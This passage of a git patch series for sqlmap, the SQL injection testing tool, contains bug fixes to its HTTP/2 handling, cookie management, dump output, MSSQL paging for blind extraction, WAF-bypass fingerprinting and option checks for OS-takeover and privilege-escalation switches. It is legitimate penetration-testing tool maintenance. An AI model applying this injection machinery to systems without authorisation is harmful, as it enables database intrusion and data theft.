weaknesses when invalid tokens are answered with HTTP 401/403 --- lib/core/settings.py | 2 +- lib/techniques/jwt/inject.py | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2928aac7e..cf0512ca5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.64" +VERSION = "1.10.11.65" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/jwt/inject.py b/lib/techniques/jwt/inject.py index df6bdf704..495c3735e 100644 --- a/lib/techniques/jwt/inject.py +++ b/lib/techniques/jwt/inject.py @@ -85,6 +85,10 @@ def _send(token): skipUrlEncode = conf.skipUrlEncode conf.skipUrlEncode = True + # Note: a rejected token is commonly answered with HTTP 401/403 - that is an oracle answer here, not a connection problem + ignoreCode = conf.ignoreCode + conf.ignoreCode = list(set((ignoreCode or []) + [401, 403])) + if conf.delay: time.sleep(conf.delay) @@ -110,6 +114,7 @@ def _send(token): return None finally: conf.skipUrlEncode = skipUrlEncode + conf.ignoreCode = ignoreCode return page From cdb787faea086be2eea2278955e9a69adf91274d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 17:16:26 +0100 Subject: [PATCH 103/126] Fix for --ignore-redirects being ignored with --http2 --- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index cf0512ca5..d48811e96 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.65" +VERSION = "1.10.11.66" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 101bfa700..afaaf6e5a 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -742,7 +742,7 @@ class Connect(object): raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)") try: - conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy, sensitive_headers=tuple(kb.authRefreshHeaders) if conf.authRefresh else ()) + conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO and not conf.ignoreRedirects, proxy=h2proxy, sensitive_headers=tuple(kb.authRefreshHeaders) if conf.authRefresh else ()) except IOError as ex: raise _http_client.HTTPException(getSafeExString(ex)) else: From 04f0987e81979d2cc2c38548b1098760cc109ef7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 17:20:51 +0100 Subject: [PATCH 104/126] Fix for --http2 silently ignoring HTTP authentication (Basic sent preemptively, others rejected) --- lib/core/option.py | 5 +++++ lib/core/settings.py | 2 +- lib/request/connect.py | 4 ++++ 3 files changed, 10 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index fa848099f..e123c5e1d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2894,6 +2894,11 @@ def _basicOptionValidation(): errMsg = "HTTP/2 support is currently incompatible with SOCKS/Tor proxies" raise SqlmapSyntaxException(errMsg) + # Note: native HTTP/2 client bypasses urllib's (challenge-response) authentication handlers (only Basic is sent preemptively) + if conf.http2 and ((conf.authType or "").lower() not in ("", AUTH_TYPE.BASIC, AUTH_TYPE.BEARER) or conf.authFile): + errMsg = "HTTP/2 support is currently incompatible with HTTP authentication type '%s'" % (conf.authType or AUTH_TYPE.PKI) + raise SqlmapSyntaxException(errMsg) + if conf.uValues and conf.uChar: errMsg = "option '--union-values' is incompatible with option '--union-char'" raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index d48811e96..72882e733 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.66" +VERSION = "1.10.11.67" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index afaaf6e5a..30088b480 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -736,6 +736,10 @@ class Connect(object): from lib.request.http2 import open_url as http2OpenUrl from lib.request.http2 import proxy_tuple + # Note: (preemptive) Basic authentication, as urllib's handlers are bypassed + if (conf.authType or "").lower() == AUTH_TYPE.BASIC and conf.authUsername is not None and HTTP_HEADER.AUTHORIZATION not in headers: + headers[HTTP_HEADER.AUTHORIZATION] = "Basic %s" % encodeBase64("%s:%s" % (conf.authUsername, conf.authPassword or ""), binary=False) + try: h2proxy = proxy_tuple(conf.proxy, conf.proxyCred) except ValueError: From 2de056aa14c60c2f2907bfc43ad06666a1a9fb16 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 17:27:10 +0100 Subject: [PATCH 105/126] Fix for --http2 not storing/sending cookies (Set-Cookie) --- lib/core/settings.py | 2 +- lib/request/connect.py | 15 +++++++++++++++ lib/request/http2.py | 1 + 3 files changed, 17 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 72882e733..b91609851 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.67" +VERSION = "1.10.11.68" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 30088b480..2cbdb7982 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -745,11 +745,26 @@ class Connect(object): except ValueError: raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)") + # Note: cookie jar handling (i.e. Set-Cookie), as urllib's HTTPCookieProcessor is bypassed + if conf.cj is not None and HTTP_HEADER.COOKIE not in headers: + try: + conf.cj.add_cookie_header(req) + if req.get_header(HTTP_HEADER.COOKIE): + headers[HTTP_HEADER.COOKIE] = req.get_header(HTTP_HEADER.COOKIE) + except Exception as ex: + logger.debug("problem occurred while adding HTTP/2 cookies ('%s')" % getSafeExString(ex)) + try: conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO and not conf.ignoreRedirects, proxy=h2proxy, sensitive_headers=tuple(kb.authRefreshHeaders) if conf.authRefresh else ()) except IOError as ex: raise _http_client.HTTPException(getSafeExString(ex)) else: + if conf.cj is not None: + try: + conf.cj.extract_cookies(conn, req) + except Exception as ex: + logger.debug("problem occurred while storing HTTP/2 cookies ('%s')" % getSafeExString(ex)) + if conn.code >= 400: raise _urllib.error.HTTPError(conn.geturl(), conn.code, conn.msg, conn.info(), io.BytesIO(conn.read())) diff --git a/lib/request/http2.py b/lib/request/http2.py index fc8ba0fd7..491809a46 100644 --- a/lib/request/http2.py +++ b/lib/request/http2.py @@ -1496,6 +1496,7 @@ class H2Response(object): if not name.startswith(":"): self._info[name] = value self._info.headers = ["%s: %s\r\n" % item for item in self._info.items()] + self._info.getheaders = lambda name: self._info.get_all(name) or [] # Note: Python 2 cookielib's interface (e.g. for Set-Cookie) def info(self): return self._info From c0e75fa98d8480391db5b01d7f7bbeff4182bdb6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 17:31:14 +0100 Subject: [PATCH 106/126] Fix for --tables/--count displaying (and sorting by) escaped table names --- lib/core/dump.py | 8 ++++---- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index 4bbe1c431..d761f7008 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -293,7 +293,7 @@ class Dump(object): lines = "-" * (int(maxlength) + 2) for db, tables in dbTables.items(): - tables = sorted(filter(None, tables)) + tables = sorted(filter(None, tables), key=lambda _: unsafeSQLIdentificatorNaming(getUnicode(_))) # Note: sorted by (displayed) unescaped names self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "") @@ -408,7 +408,7 @@ class Dump(object): for ctables in dbTables.values(): for tables in ctables.values(): for table in tables: - maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table))) + maxlength1 = max(maxlength1, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table)))) for db, counts in dbTables.items(): self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "") @@ -431,10 +431,10 @@ class Dump(object): if count is None: count = "Unknown" - tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) + tables = sorted((unsafeSQLIdentificatorNaming(getUnicode(_)) for _ in tables), key=lambda _: _.lower()) for table in tables: - blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table))) + blank1 = " " * (maxlength1 - getConsoleLength(table)) blank2 = " " * (maxlength2 - len(str(count))) self._write("| %s%s | %d%s |" % (table, blank1, count, blank2)) diff --git a/lib/core/settings.py b/lib/core/settings.py index b91609851..065d18241 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.68" +VERSION = "1.10.11.69" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 26cb5cdc3139369c3e69eecca6a156e4c5e0d69d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 17:31:14 +0100 Subject: [PATCH 107/126] Fix for --count skipping empty tables --- lib/core/settings.py | 2 +- plugins/generic/databases.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 065d18241..f3b960576 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.69" +VERSION = "1.10.11.70" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 3df7f8ab0..75f9577f1 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1058,7 +1058,7 @@ class Databases(object): query = agent.whereQuery(query) count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - if isNumPosStrValue(count): + if isNumPosStrValue(count) or count in (0, "0"): # Note: including empty tables (i.e. 0 entries) if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {} From 2bfb53876ce8496237643a04404930564cf7f51d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 17:34:32 +0100 Subject: [PATCH 108/126] Fix for --live-cookies overwriting injected Cookie parameter --- lib/core/settings.py | 2 +- lib/request/connect.py | 14 ++++++++++++-- 2 files changed, 13 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f3b960576..bc6276c15 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.70" +VERSION = "1.10.11.71" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 2cbdb7982..69164c37a 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -425,8 +425,18 @@ class Connect(object): raise SqlmapValueException(errMsg) with openFile(conf.liveCookies) as f: - cookie = f.read().strip() - cookie = re.sub(r"(?i)\ACookie:\s*", "", cookie) + live = re.sub(r"(?i)\ACookie:\s*", "", f.read().strip()) + + # Note: (live) values are taken, except for the cookie(s) currently carrying the payload (i.e. differing from the original value) + delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER + original = conf.paramDict.get(PLACE.COOKIE) or {} + for part in (cookie or "").split(delimiter): + name, _, value = part.strip().partition('=') + if name in original and value != original[name]: + regex = r"(\A|(?<=[%s\s]))%s=[^%s]*" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) + live = re.sub(regex, lambda match: "%s=%s" % (name, value), live) if re.search(regex, live) else "%s%s %s=%s" % (live, delimiter, name, value) + + cookie = live if multipart: post = multipart From 910fccb65ea6eb5066efc4d94b8860ea907a875e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 17:37:25 +0100 Subject: [PATCH 109/126] Fix for --dump-format=HTML with --start/--stop appending a whole new document --- lib/core/dump.py | 15 +++++++++++++-- lib/core/settings.py | 2 +- 2 files changed, 14 insertions(+), 3 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index d761f7008..b33a6b279 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -530,6 +530,17 @@ class Dump(object): else: count += 1 + # Note: appending to HTML means adding rows to the existing table (i.e. not appending a whole new document) + if appendToFile and conf.dumpFormat == DUMP_FORMAT.HTML: + with openFile(dumpFileName, "r") as f: + content = f.read() + + if "" in content: + with openFile(dumpFileName, "w+") as f: + f.write(content[:content.rindex("")]) + else: + appendToFile = False + self._dumpFiles[dumpFileName] = table dumpFP = openFile(dumpFileName, 'w' if not appendToFile else 'a', buffering=DUMP_FILE_BUFFER_SIZE) @@ -603,7 +614,7 @@ class Dump(object): cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT)) rtable = replication.createTable(table, cols) - elif conf.dumpFormat == DUMP_FORMAT.HTML: + elif conf.dumpFormat == DUMP_FORMAT.HTML and not appendToFile: dataToDumpFile(dumpFP, "\n\n\n") dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING) dataToDumpFile(dumpFP, "\n" % VERSION_STRING) @@ -639,7 +650,7 @@ class Dump(object): field += 1 - if conf.dumpFormat == DUMP_FORMAT.HTML: + if conf.dumpFormat == DUMP_FORMAT.HTML and not appendToFile: dataToDumpFile(dumpFP, "\n\n\n\n") self._write("|\n%s" % separator) diff --git a/lib/core/settings.py b/lib/core/settings.py index bc6276c15..610410e75 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.71" +VERSION = "1.10.11.72" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e2c36885f071f014f7e84f1a1761e41f948e9998 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 17:39:06 +0100 Subject: [PATCH 110/126] Fix for misleading WAF fingerprinting warning with --esperanto --- lib/controller/action.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/action.py b/lib/controller/action.py index daea4e76c..01be69310 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -48,7 +48,7 @@ def action(): # automatic WAF-bypass: fingerprinting probes are kept off the WAF/IPS blacklists, so it is tried # first even behind a protection. Only if it comes back empty the back-end DBMS is assumed from # the error page or the heuristic checks, so that the user still gets a usable result - if kb.wafBypass and not conf.forceDbms and not Backend.getIdentifiedDbms(): + if kb.wafBypass and not conf.forceDbms and not conf.esperanto and not Backend.getIdentifiedDbms(): # Note: --esperanto does its own (generic) back-end identification fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else []) fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None) if fallback: diff --git a/lib/core/settings.py b/lib/core/settings.py index 610410e75..1861d4e59 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.72" +VERSION = "1.10.11.73" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 937f2b11b19fd3880ed11d8c3acebdcf53d83bdf Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 19:03:46 +0100 Subject: [PATCH 111/126] Fix for MSSQL OFFSET/FETCH paging in SQL queries (e.g. --sql-query) with blind techniques --- lib/core/agent.py | 15 ++++++++++++--- lib/core/settings.py | 2 +- 2 files changed, 13 insertions(+), 4 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 1d3940e5a..a008ca6d1 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1073,6 +1073,9 @@ class Agent(object): topLimit = re.search(r"TOP\s+([\d]+)\s+", expression, re.I) + # Note: Microsoft SQL Server 2012+ paging (e.g. 'ORDER BY id OFFSET 2 ROWS FETCH NEXT 2 ROWS ONLY') + offsetFetch = re.search(r"(?i)\s+OFFSET\s+(?P\d+)\s+ROWS?\s+FETCH\s+(?:NEXT|FIRST)\s+(?P\d+)\s+ROWS?\s+ONLY", expression) if Backend.isDbms(DBMS.MSSQL) else None + limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) if hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query2"): @@ -1086,7 +1089,7 @@ class Agent(object): # ClickHouse) and per-row extraction (blind/error) reads bogus offsets - only UNION was unaffected. limitOffsetAppendDbmses = (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.CLICKHOUSE, DBMS.CRATEDB, DBMS.SPANNER, DBMS.HANA) - if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): + if (limitRegExp or limitRegExp2 or offsetFetch) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if Backend.getIdentifiedDbms() in limitOffsetAppendDbmses: limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query @@ -1109,7 +1112,11 @@ class Agent(object): limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - if limitRegExp: + if offsetFetch: + startLimit = int(offsetFetch.group("start")) + stopLimit = offsetFetch.group("stop") + limitCond = int(stopLimit) > 1 + elif limitRegExp: limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query @@ -1130,7 +1137,7 @@ class Agent(object): # (or equivalent depending on the back-end DBMS) can return # multiple entries if limitCond: - if (limitRegExp or limitRegExp2) and stopLimit is not None: + if (limitRegExp or limitRegExp2 or offsetFetch) and stopLimit is not None: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " @@ -1147,6 +1154,8 @@ class Agent(object): elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit + if offsetFetch: + expression = expression[:offsetFetch.start()] elif dump: if conf.limitStart: startLimit = conf.limitStart - 1 diff --git a/lib/core/settings.py b/lib/core/settings.py index 1861d4e59..43a5b4055 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.73" +VERSION = "1.10.11.74" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6206e15d137096070232be5aa53bfef674744074 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 19:05:19 +0100 Subject: [PATCH 112/126] Adding check for --priv-esc without corresponding takeover switch --- lib/core/option.py | 4 ++++ lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index e123c5e1d..8e5662e79 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -3058,6 +3058,10 @@ def _basicOptionValidation(): errMsg = "option '--crawl-exclude' requires usage of switch '--crawl'" raise SqlmapSyntaxException(errMsg) + if conf.privEsc and not any((conf.osPwn, conf.osSmb, conf.osBof)): + errMsg = "switch '--priv-esc' requires usage of switch '--os-pwn', '--os-smbrelay' or '--os-bof'" + raise SqlmapSyntaxException(errMsg) + if conf.safePost and not conf.safeUrl: errMsg = "option '--safe-post' requires usage of option '--safe-url'" raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 43a5b4055..efb8ab228 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.74" +VERSION = "1.10.11.75" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 2351bd82dd5b2d8d62446705540b6da1200da331 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 19:05:50 +0100 Subject: [PATCH 113/126] Fix for --not-string not supporting escape sequences (e.g. '\t'), as --string does --- lib/core/option.py | 3 +++ lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 8e5662e79..5a235f44c 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2107,6 +2107,9 @@ def _cleanupOptions(): if conf.string: conf.string = decodeStringEscape(conf.string) + if conf.notString: + conf.notString = decodeStringEscape(conf.notString) + if conf.getAll: for _ in WIZARD.ALL: conf.__setitem__(_, True) diff --git a/lib/core/settings.py b/lib/core/settings.py index efb8ab228..851ac0b27 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.75" +VERSION = "1.10.11.76" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 32edb6a45eea033e28d1226e408108026c69eb8e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 19:08:34 +0100 Subject: [PATCH 114/126] Treating Cookie header provided with -H/--headers as --cookie (i.e. testable Cookie parameters) --- lib/core/option.py | 6 +++++- lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 5a235f44c..9d7345274 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1641,7 +1641,11 @@ def _setHTTPExtraHeaders(): header, value = (_.lstrip() for _ in headerValue.split(":", 1)) if header and value: - conf.httpHeaders.append((header, value)) + # Note: Cookie header provided this way is treated as --cookie (i.e. its parameters become testable) + if header.upper() == HTTP_HEADER.COOKIE.upper() and not conf.cookie: + conf.cookie = value + else: + conf.httpHeaders.append((header, value)) else: errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u') raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 851ac0b27..2493859f8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.76" +VERSION = "1.10.11.77" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6f06df414bc64966f7d0033ba42d14ee6c508ecf Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 19:10:00 +0100 Subject: [PATCH 115/126] Adding warning for -p being ignored in case of custom injection markers --- lib/core/settings.py | 2 +- lib/core/target.py | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2493859f8..9f2a30edc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.77" +VERSION = "1.10.11.78" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index b11fb96ad..7ca0ae54c 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -329,6 +329,10 @@ def _setRequestParams(): if kb.processUserMarks: kb.testOnlyCustom = True + if conf.testParameter: + warnMsg = "option '-p' is ignored as only the custom injection marker(s) ('%s') will be tested" % kb.customInjectionMark + logger.warning(warnMsg) + if "=%s" % kb.customInjectionMark in _: warnMsg = "it seems that you've provided empty parameter value(s) " warnMsg += "for testing. Please, always use only valid parameter values " From b3608f33caadff2e355b8d0cda66f66b2a38ae3e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 19:25:55 +0100 Subject: [PATCH 116/126] Fix for --oob-server with scheme (e.g. 'https://https://host/register') and self-signed certificates --- lib/core/settings.py | 2 +- lib/request/interactsh.py | 26 +++++++++++++++++++------- 2 files changed, 20 insertions(+), 8 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9f2a30edc..e405a32ba 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.78" +VERSION = "1.10.11.79" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" 